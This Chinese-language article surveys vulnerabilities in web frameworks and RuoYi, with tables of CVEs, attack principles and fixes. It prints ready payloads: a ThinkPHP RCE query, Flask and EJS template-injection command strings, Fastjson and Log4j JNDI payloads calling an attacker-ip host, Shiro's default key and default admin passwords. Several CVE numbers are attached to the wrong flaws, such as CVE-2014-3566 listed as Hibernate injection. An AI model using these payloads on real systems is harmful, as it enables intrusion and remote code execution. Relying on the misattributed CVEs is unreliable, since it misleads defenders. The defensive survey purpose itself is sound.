当前位置: 首页 > news >正文

框架漏洞详解

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这里主要介绍一些常见的框架漏洞。

一、Java Web 框架(企业级开发主流)

Java 框架因生态复杂(依赖链长、设计层级多),漏洞多集中于反序列化、远程代码执行(RCE)、参数绑定滥用等,且危害极强(常直接拿下服务器权限)。

1. Struts2(Apache Struts2)

Struts2 是经典 MVC 框架,因OGNL 表达式注入和反序列化漏洞频发,曾被称为 “漏洞之王”。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

OGNL 表达式注入

S2-016(CVE-2013-2251)

表单提交时,Content-Type等 HTTP 头未过滤 OGNL 表达式(如%{1+1}),可执行任意代码。

严重(RCE)

反序列化漏洞

S2-045(CVE-2017-5638)

文件上传拦截器JakartaMultipartRequest处理请求时,未校验Content-Type,触发反序列化 RCE。

严重(RCE)

反序列化漏洞

S2-057(CVE-2018-11776)

配置文件中struts.action.excludePattern正则表达式写死,导致特定路径请求绕过过滤,触发反序列化。

严重(RCE)

标签属性 OGNL 注入

S2-061(CVE-2020-17530)

s:a/s:url标签的href/action属性未过滤 OGNL 表达式,攻击者构造链接即可触发 RCE。

严重(RCE)

2. Spring 系列(Spring MVC/Spring Boot/Spring Cloud)

Spring 是 Java 生态的 “基石框架”,漏洞多与参数绑定、依赖注入(DI)、配置暴露相关,近年高频出现 “核弹级” RCE 漏洞。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

参数绑定导致 RCE

Spring4Shell(CVE-2022-22965)

Spring MVC 参数绑定机制允许 “类属性覆盖”,攻击者通过构造class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat等参数,写入恶意 JSP 文件,实现 RCE。

严重(RCE)

参数绑定漏洞(数据篡改)

CVE-2016-5007

Spring MVC 对 “嵌套属性” 绑定无限制,攻击者可篡改后端对象的私有属性(如用户权限、订单金额)。

高危(权限提升 / 数据篡改)

配置泄露

Spring Cloud Config(CVE-2019-3799)

Spring Cloud Config 未授权访问,攻击者可下载所有配置文件(含数据库密码、密钥)。

高危(敏感信息泄露)

依赖注入漏洞

Spring Cloud Gateway(CVE-2022-22947)

Gateway 的Predicate工厂处理Route时,未过滤SpEL表达式,攻击者构造路由参数触发 SpEL 注入 RCE。

严重(RCE)

3. Hibernate(ORM 框架)

Hibernate 是 Java 主流 ORM(对象关系映射)框架,漏洞集中于SQL 注入(因 ORM 使用不当)。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

HQL 注入(SQL 注入变种)

CVE-2014-3566

使用createQuery()执行原生 HQL 时,直接拼接用户输入(如from User where name=''+userInput+''),未用参数绑定(setParameter()),导致注入。

高危(数据泄露 / 篡改)

关联查询注入

无特定 CVE(通用风险)

多表关联查询时,对order by/group by后的字段未过滤,攻击者注入UNION SELECT等语句。

高危(数据泄露)

二、PHP Web 框架(中小型 Web 开发主流)

PHP 框架漏洞多因变量覆盖、函数调用未过滤、调试模式滥用,且 RCE 漏洞占比高(PHP 动态执行特性导致)。

1. ThinkPHP(国内最流行 PHP 框架)

ThinkPHP 因早期版本 “快速开发” 设计,存在大量RCE 和 SQL 注入漏洞,是渗透测试高频目标。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

远程代码执行(RCE)

ThinkPHP5.0/5.1 RCE(CVE-2018-20062)

框架路由解析时,s参数未过滤,可构造?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami触发命令执行。

严重(RCE)

远程代码执行(RCE)

ThinkPHP6.0 RCE(CVE-2021-37580)

模板渲染时,assign方法未过滤用户输入,攻击者通过?template=file:///etc/passwd或构造恶意模板触发 RCE。

严重(RCE)

SQL 注入

ThinkPHP3.2.x 注入(无 CVE)

早期版本where条件拼接时,对数组参数处理不当,如$map['id'] = array('in', $_GET['id']),若id为1) or 1=1--则触发注入。

高危(数据泄露)

2. Laravel(PHP 主流框架)

Laravel 设计较严谨,但调试模式、依赖组件、路由参数仍可能引入漏洞。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

调试模式 RCE

Laravel Debug Mode RCE(无特定 CVE)

开启APP_DEBUG=true(生产环境误配)时,若泄露.env文件(含APP_KEY),攻击者可利用laravel-debugbar组件构造恶意序列化数据,触发反序列化 RCE。

严重(RCE)

路由参数 SQL 注入

CVE-2020-15143

Laravel 8.x < 8.4.2 中,route()函数处理参数时,未过滤$parameters中的特殊字符,若路由绑定到数据库查询,可触发注入。

高危(数据泄露)

远程代码执行(依赖漏洞)

CVE-2021-3129

Laravel 使用的symfony/http-foundation组件(版本 < 5.2.4)存在会话固定 + 代码执行,攻击者通过_fragment参数构造恶意 URL 触发 RCE。

严重(RCE)

3. Yii(PHP 轻量级框架)

Yii 漏洞以反序列化和SQL 注入为主,2.x 版本因组件设计缺陷曾爆发大规模 RCE。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

反序列化 RCE

CVE-2020-15148

Yii2 的yii\db\BatchQueryResult类未实现__wakeup()方法,攻击者构造序列化数据,利用PDO连接参数注入恶意代码,触发 RCE。

严重(RCE)

SQL 注入

Yii1.x ActiveRecord 注入(无 CVE)

Yii1.x 的findByAttributes()方法对数组参数处理不当,若用户输入直接作为查询条件,可注入UNION SELECT。

高危(数据泄露)

三、Python Web 框架(快速开发 / AI 应用主流)

Python 框架漏洞多与模板注入(SSTI)、配置暴露、ORM 滥用相关,因 Python 动态类型特性,SSTI 危害极高。

1. Django(Python 最成熟 Web 框架)

Django 设计安全,但版本更新不及时、第三方插件、DEBUG 模式仍会引入漏洞。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

SQL 注入

CVE-2021-35042

Django 1.11.x < 1.11.29 / 2.2.x < 2.2.24 中,QuerySet.annotate()处理F()表达式时,未过滤output_field参数,导致注入。

高危(数据泄露)

模板注入(SSTI)

Django 模板注入(无特定 CVE)

若开发者使用render_to_string(template_name, context)时,template_name由用户控制(如?tpl={{7*7}}),Jinja2 模板引擎会执行表达式,可进一步构造 RCE。

严重(RCE)

配置泄露

DEBUG=True 信息泄露(通用风险)

生产环境开启DEBUG=True时,报错页面会暴露代码路径、数据库配置、中间件信息,为攻击提供线索。

中危(信息泄露)

2. Flask(Python 轻量级框架)

Flask 因 “极简设计”,需开发者自行处理安全逻辑,SSTI、会话漏洞是高频问题。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

模板注入(SSTI)

Flask SSTI(通用漏洞)

Flask 默认使用 Jinja2 模板,若开发者直接将用户输入作为模板渲染(如return render_template_string(request.args.get('tpl'))),攻击者可构造{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}执行命令。

严重(RCE)

会话固定

Flask Session Fixation(无 CVE)

Flask 默认会话 ID 存储在 Cookie 中,且未强制刷新会话 ID(如用户登录后未更换 sessionid),攻击者可预先设置 sessionid,劫持登录态。

高危(权限劫持)

路径穿越

CVE-2018-1000656

Flask 0.12.4 及以下版本,send_file()函数处理filename参数时,未过滤../,导致攻击者读取任意文件(如?file=../etc/passwd)。

高危(文件泄露)

四、Node.js Web 框架(前端后端一体化主流)

Node.js 框架漏洞多与中间件缺陷、路径处理、命令注入相关,因依赖大量 npm 包,“供应链漏洞” 也较常见。

1. Express(Node.js 最流行框架)

Express 依赖中间件扩展功能,漏洞多源于中间件配置不当或内置函数缺陷。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

路径穿越

CVE-2017-14849

Express 的express.static中间件处理../时,未完全过滤 UTF-8 编码的特殊字符(如..%2f),攻击者可读取任意文件(如/static/..%2f/etc/passwd)。

高危(文件泄露)

命令注入

CVE-2019-10758

Express 使用的body-parser中间件(版本 < 1.19.0)处理urlencoded数据时,未过滤extended: true模式下的特殊字符,导致命令注入。

严重(RCE)

模板注入(SSTI)

Express EJS SSTI(通用风险)

若使用 EJS 模板且开启debug模式,用户输入可注入<%= require('child_process').execSync('whoami').toString() %>执行命令。

严重(RCE)

2. Koa(Node.js 轻量级框架)

Koa 以 “中间件洋葱模型” 为核心,漏洞多与中间件执行顺序、请求处理逻辑相关。

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

中间件请求劫持

Koa Middleware Hijack(无 CVE)

若中间件未正确处理ctx.respond属性(默认true),攻击者可构造请求绕过后续中间件(如鉴权),直接响应恶意内容。

高危(权限绕过)

路径穿越

Koa Static 路径穿越(通用风险)

Koa 的koa-static中间件未过滤../,若静态文件目录配置为./public,攻击者可通过/../etc/passwd读取任意文件。

高危(文件泄露)

五、其他主流框架(.NET/Ruby)

1. .NET 框架(ASP.NET MVC/ASP.NET Web Forms)

框架

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

ASP.NET Web Forms

反序列化 RCE

CVE-2017-8759(ViewState 漏洞)

ViewState(视图状态)未加密且使用默认密钥,攻击者篡改 ViewState 数据,触发反序列化 RCE。

严重(RCE)

ASP.NET MVC

CSRF

早期版本默认无防护(通用风险)

ASP.NET MVC 早期版本未默认开启[ValidateAntiForgeryToken]注解,攻击者可构造 CSRF 表单篡改数据。

中危(数据篡改)

2. Ruby on Rails(Ruby 主流框架)

漏洞类型

典型漏洞(ID / 别名)

原理简述

危害程度

反序列化 RCE

CVE-2016-0752

Rails 的Active Record组件处理serialize字段时,未过滤反序列化数据,攻击者构造恶意 YAML 数据触发 RCE。

严重(RCE)

SQL 注入

CVE-2020-8165

Rails 6.0.3.1 及以下版本,Active Record的where查询处理Range对象时,未过滤边界值,导致注入。

高危(数据泄露)

六、框架漏洞共性总结与高频类型

无论何种框架,以下漏洞类型均为 “通用高危”,需重点关注:

远程代码执行(RCE):最危险漏洞,几乎所有框架均曾出现(如 Spring4Shell、ThinkPHP RCE、Flask SSTI),直接导致服务器被控制。

模板注入(SSTI):Python/Node.js 框架高频(Flask/Django/Express),因模板引擎执行用户输入表达式,可快速升级为 RCE。

反序列化漏洞:Java/PHP/Ruby 框架典型(Struts2、Yii2、Ruby on Rails),因框架依赖序列化传输数据,未过滤恶意对象导致 RCE。

配置泄露:通用风险(Laravel .env 泄露、Django DEBUG 模式、Spring Cloud Config 未授权),泄露密钥 / 密码为后续攻击铺路。

SQL 注入:ORM 框架共性问题(Hibernate、Django ORM、Ruby Active Record),因开发者滥用原生 SQL 拼接参数导致。

七、若依框架漏洞

1、若依框架概述

若依(RuoYi)是国内主流Java 企业级快速开发框架,基于 Spring Boot/Spring Cloud + MyBatis + Shiro/Spring Security 技术栈,核心用于开发后台管理系统、OA、CRM 等企业应用。其漏洞可分为两类:

依赖组件漏洞:继承第三方开源组件(如 Shiro、Fastjson)的已知风险,是高频触发点;

自身业务逻辑漏洞:框架开发层设计缺陷,集中于权限控制、参数校验等模块。

2、依赖组件漏洞(高频风险)

若依依赖大量开源组件,若未及时更新版本,会直接继承组件漏洞。以下为核心漏洞类型及详情:

漏洞名称

漏洞标识(CVE / 别名)

核心原理

若依典型场景

危害等级

修复方案

Apache Shiro 反序列化漏洞

CVE-2016-4437、CVE-2020-1957

Shiro 依赖 Cookie 中 rememberMe 字段(AES 加密 + Base64 编码的序列化对象);若使用默认密钥或密钥泄露,恶意序列化 payload 可触发反序列化 RCE。

若依早期版本(2020 年前 RuoYi 3.x/4.x)集成 Shiro 1.2.4 及以下,未修改默认密钥;攻击者用 ShiroExploit 生成 payload,通过 rememberMe 字段获取服务器 shell。

严重(RCE)

1. 升级 Shiro 至 1.7.1+;
2. 自定义随机 AES 密钥(替换默认密钥 kPH+bIxk5D2deZiIxcaaaA==)。

Fastjson 反序列化漏洞

CVE-2021-21350、CVE-2022-25845

Fastjson 解析含 @type 字段的 JSON 时,会实例化指定类(如 JdbcRowSetImpl),通过类属性触发 RCE。

若依接口(如 /sys/login)用 Fastjson 解析参数且未禁用 @type;攻击者构造 payload(如 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip/EvilClass","autoCommit":true}),触发 RCE。

严重(RCE)

1. 升级 Fastjson 至 1.2.83+;
2. 配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false) 禁用 @type。

Log4j2 远程代码执行漏洞

CVE-2021-44228(“Log4j 核弹漏洞”)

Log4j2 支持 JNDI 注入,日志内容含 ${jndi:} 时会加载远程类,恶意类触发 RCE。

若依基于 Spring Boot 2.6.x 以下版本,日志系统用 Log4j2 且记录用户可控参数(如请求参数、URL);攻击者访问 /sys/menu?name=${jndi:rmi://attacker-ip/Evil},日志记录时触发漏洞。

严重(RCE)

1. 升级 Log4j2 至 2.17.1+;
2. 配置 JVM 参数 log4j2.formatMsgNoLookups=true 禁用 JNDI lookup。

3、若依自身业务逻辑漏洞(框架开发层问题)

源于若依自身代码设计缺陷,与业务功能强相关,常见于权限、参数、文件处理模块:

3.1 越权访问漏洞(最高频业务漏洞)

漏洞类型

核心原理

典型场景

危害等级

修复方案

水平越权

后端仅校验 “用户登录状态”,未校验 “请求资源归属当前用户”。

若依 /sys/user/info?id=123 接口:攻击者修改 id=124,查看其他用户手机号、密码哈希。

高危

后端强制校验 “当前用户 ID” 与 “请求资源 ID” 一致(如通过 UserContext.getCurrentUserId() 比对)。

垂直越权

后端未校验用户角色,低权限用户可访问高权限接口。

若依 /sys/role/add 接口(仅允许管理员):普通用户直接调用接口,添加管理员角色给自己。

高危

1. 用 Shiro @RequiresRoles("admin") 注解校验角色;
2. 用若依 @DataScope 注解控制数据权限。

3.2 SQL 注入漏洞

漏洞标识

核心原理

典型场景

危害等级

修复方案

MyBatis 拼接注入

若依使用 MyBatis 时,SQL 语句用 ${} 占位符(直接拼接,无预编译)或手动拼接参数。

若依用户列表查询接口,MyBatis 映射文件中:
SELECT * FROM sys_user WHERE username LIKE '%${username}%';
攻击者传入 username=admin' OR '1'='1,查询所有用户数据。

高危

1. 优先用 #{} 预编译占位符;
2. 若需用 ${}(如排序字段),白名单校验(仅允许 id/username)。

3.3 文件上传漏洞

漏洞场景

核心原理

典型场景

危害等级

修复方案

头像 / 附件上传

仅前端校验文件后缀(如 JS 限制 .jpg),后端未校验文件内容、未限制上传路径。

若依 /sys/user/profile/avatar 接口:攻击者将 JSP 木马(shell.jsp)重命名为 shell.jpg 上传;
若服务器解析 .jpg 为 JSP,访问 http://target/shell.jpg?cmd=whoami 执行命令。

严重(RCE)

1. 后端双重校验:文件后缀白名单 + 文件头校验(如 JPG 头 FF D8 FF);
2. 限制上传路径(禁止 Web 可访问目录);
3. 随机重命名上传文件。

3.4 默认配置 / 弱口令漏洞

漏洞类型

核心原理

典型场景

危害等级

修复方案

默认账号漏洞

若依默认提供演示账号(admin/admin123、test/test123),部署后未删除 / 改密。

企业部署若依时保留默认 admin 账号,攻击者用 admin/admin123 直接登录后台,接管系统。

高危

1. 部署后立即删除演示账号;
2. 强制修改管理员密码(大小写 + 数字 + 特殊字符)。

弱口令漏洞

二次开发时自定义弱口令(如 root/123456),无登录失败次数限制。

攻击者用暴力破解工具(如 Burp Suite)破解弱口令,登录后台导出敏感数据。

中高危

1. 强制密码复杂度;
2. 添加登录失败限制(如 5 次锁定账号)。


文章转载自:

http://aKIFLw5D.gwsLL.cn
http://xceTAzt4.gwsLL.cn
http://vkIG8QbZ.gwsLL.cn
http://VQtjgSVl.gwsLL.cn
http://XWtcAiig.gwsLL.cn
http://swJR7cJd.gwsLL.cn
http://yAp9mlxx.gwsLL.cn
http://p5pYQNJ4.gwsLL.cn
http://za1rBiwG.gwsLL.cn
http://n7FBY0ck.gwsLL.cn
http://mmmrxMqG.gwsLL.cn
http://4mz4tii9.gwsLL.cn
http://bqIQDoxb.gwsLL.cn
http://sObweAKE.gwsLL.cn
http://0ud7RvdQ.gwsLL.cn
http://Uajh85Ka.gwsLL.cn
http://oL8qE8J6.gwsLL.cn
http://ESK40ws5.gwsLL.cn
http://QwGdu2VW.gwsLL.cn
http://p1WnGMB2.gwsLL.cn
http://za0jT5kL.gwsLL.cn
http://7WhspsbE.gwsLL.cn
http://OC8hMfwu.gwsLL.cn
http://EkEKZpDH.gwsLL.cn
http://8U975bTb.gwsLL.cn
http://WcnLPp4j.gwsLL.cn
http://uETNy4mm.gwsLL.cn
http://QysbPOXT.gwsLL.cn
http://7Du60SKc.gwsLL.cn
http://vsJ38YIg.gwsLL.cn
http://www.dtcms.com/a/378200.html

相关文章:

  • Day02 集合 | 30. 串联所有单词的子串、146. LRU 缓存、811. 子域名访问计数
  • 基于springboot的教育资源共享管理系统
  • 汽车网络安全 CyberSecurity ISO/SAE 21434 测试之一
  • Fiddler
  • 【软件设计师(中级)】P1 计算机系统知识(待完成)
  • KronosTokenizer结构解析
  • (网络编程)网络编程套接字 UDP的socket API 代码解析
  • iPhone17系列发布!跨端如何破局?
  • 把nginx、jar包、redis做成windows系统服务,开机自动启动
  • Java学习笔记四(继承)
  • Redis分布式锁的try-with-resources实现
  • 广东省省考备考(第九十七天9.11)——言语(刷题巩固第三节课)
  • ReentrantLock 源码深度解析
  • 机器人驭风而行:低空经济如何开启智能新纪元
  • 【系统架构设计(27)】信息安全技术集成
  • spring mvc 拦截器 (HandlerInterceptor )
  • 【Nginx】- 日志定期清理设置
  • 102、23种设计模式之装饰器模式(11/23)
  • SwiftData3 一剑封喉:WWDC25 的“数据剑谱”精讲,让 Core Data 老侠原地退休
  • [硬件电路-180]:集成运放,在同向放大和反向放大电路中,失调电压与信号一起被等比例放大;但在跨阻运放中,失调电压不会与电流信号等比例放大。
  • IDEA连接redis数据库时出现Failed to connect to any host resolved for DNS name.
  • kafka:【2】工作原理
  • ctfshow_web14------(PHP+switch case 穿透+SQL注入+文件读取)
  • 中电金信携手海光推出金融业云原生基础设施联合解决方案
  • 【Linux】初始Linux:从计算机历史发展、操作系统历史脉络的角度详谈Linux相关的话题,附Linux安装和用户创建(环境准备)详解
  • 软件设计师_第十章:软件工程(上)
  • ptx 简介03,ldmatrix 的应用实例解析
  • CSS的平面转换transform
  • CSS 居中
  • Golang进阶(二):设计先行